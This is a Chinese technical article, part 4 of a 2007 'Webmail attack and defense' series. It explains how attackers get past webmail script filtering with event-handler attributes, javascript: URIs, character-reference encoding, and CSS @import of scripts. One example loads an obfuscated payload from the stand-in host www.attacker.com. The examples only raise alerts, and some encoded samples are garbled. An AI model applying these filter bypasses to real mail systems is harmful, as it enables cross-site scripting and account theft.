Webmail攻防实战(4)
来源:云南设计港 发布时间:2007-10-26 13:38:00
鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:
(1)在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:
<tagattribute1attribute2onEventName="javascriptcode;">
例如:
<bodyonload="alert('JavaScript#1isexecuted');">
<ahref="#"onclick="alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="#"onsubmit="alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
</body>
(2)URI(UniversalResourceIdentifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URIscheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:
<tagattribute="javascript:javascript-code;">
例如:
<bodybackground="javascript:alert('JavaScript#1isexecuted');">
<ahref="javascript:alert('JavaScript#2isexecuted');">Clickhere</a>
<formmethod="post"action="javascript:alert('JavaScript#3isexecuted');">
<inputtype="submit"value="Submit">
</form>
<imgsrc="javascript:alert('JavaScript#4isexecuted');">
</body>
(3)由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A;”、“A;”表示字母“A”,“水;”、“水;”表示汉字“水”。
攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:
<body>
<imglowsrc="ja;vasC;ript:alert('JavaScript#1isexecuted')">
<ahref="j;avA;sC;ript:;aler;t('JavaScript#2
i;ܾxecuted')">Clickhere;</a>
<formmethod="post"action="javascript:alert('JavaScript#3is
executed')">
<inputtype="S;ubmit"value="Submit">
</form>
</body>
(4)样式表是层叠样式表单(CSS:CascadingStyleSheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,InternetExplorer浏览器仍然会执行。
例如:<styletype="text/css">
<!--
@importurl(javascript:alert('JavaScript#1isexecuted'));
@importurl(http://www.attacker.com/js.css);
-->
</style>
其中http://www.attacker.com/js.css的内容如下所示:
@importurl(javascript:alert('JavaScript#2isexecuted'));
@importurl(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。
猜你喜欢
- VMware vSphere client客户端是用来连接与管理ESX或ESXi主机的,在VMware vSphere client可以方便
- 我从www.xrnic.cn开通了一个独立IP LINUX空间,空间支持伪静态功能。由于网站根目录下安装的是DEDECMS,bbs目录下安装
- 广告颜色是广告优化中一个富有创造性的要素。 Google AdSense 帐户中不仅提供了调色板供您选择,您还可以自定义广告颜色。广告颜色的
- 电子邮件是人们在网上最常使用的通信工具之一,它已经成为我们网络生活中不可或缺的一部分,而其在局域网中也是一项很重要的应用。在局域网中构建一个
- 1问题描述:1.1windows10首次安装VMware,或者非首次安装VMware时,安装后,没有出现如下图所示的虚拟网卡:1.2Xshe
- 大数据持续升温, 不熟悉几个大数据组件, 连装逼的口头禅都没有。 最起码, 你要会说个hadoop, hdfs, mapreduce, ya
- (1)B2C和B2B有不同的网站优化目标当然,B2C和B2B网站优化的最终目标都是为了提高销售量,在这点上B2C和B2B没有什么区别,但是在
- 前言:常在网络飘,哪有不挨刀?做网站的站长说不准哪天得罪了XX人,二话不说直接操着DDOS就上来搞你了,黑不了你,哥就D死你,遇到这样的无赖
- 下午15时左右,百度再次改版百度指数(index.baidu.com)功能和布局。新布局更加直观,便于查看相关检索词数据与相关新闻内容。此外
- 一、背景简介1、简单介绍vsphere的共享存储背景vSphere里面有个重要的功能就是进行虚拟机封装,一个虚拟机以文件的形式存在,可以任意
- 本文适用于学习服务器知识所讲述的如何在virtualbox上安装centos。准备已经安装好的virtualbox虚拟机已经下载好的cent
- 本文我们将讨论使用 mod_status 和 mod_info to 来告诉你目前服务器的工作情况我可以得到什么样的信息?使用 mod_st
- 首先,根据自己网站的统计数据来分析,网上超多免费统计系统,随便找一个吧,里面都有很详细的搜索引擎来路、关键词来路分析等功能,我们要做的就是仔
- 在卓越亚马逊久蛰待发的2009年初,当当网总裁李国庆(李国庆新闻,李国庆说吧)宣布了网站正式盈利的消息。当当网市场营销副总裁陈腾华这样解释&
- 什么是软文?我想大家都已经通过查阅网络资料有所了解,自己也经常在网络中看到一些软文作品。而我则用简单几句来概括:能让看出是软文的文章充其量算
- 400 无法解析此请求。 401.1 未经授权:访问由于凭据无效被拒绝。 401.2 未经授权: 访问由于服务器配置倾向使用替代身份验证方法
- 5月25日消息,据《华尔街日报》报道,谷歌在周一首次披露了与搜索和内容发布商分享广告收入的方式。此举是谷歌针对网站发布商和监管机构要求其提高
- 第一步:查看当前内核rew $ uname -aLinux rew 4.15.0-42-generic #45~16.04.1-Ubuntu
- 地方网站竞争激烈,各个网站都习惯将注意力放在了竞争对手上。殊不知对于地方网站,尤其是发展初期的地方网站来说,当地的百度贴吧也是不容忽视的一点
- 问:目前哪些 Flash 文件能更好地被谷歌索引到呢?我们改善了对所有类型 SWF 文件中的文字内容的索引能力,其中包括像按钮或菜单这样的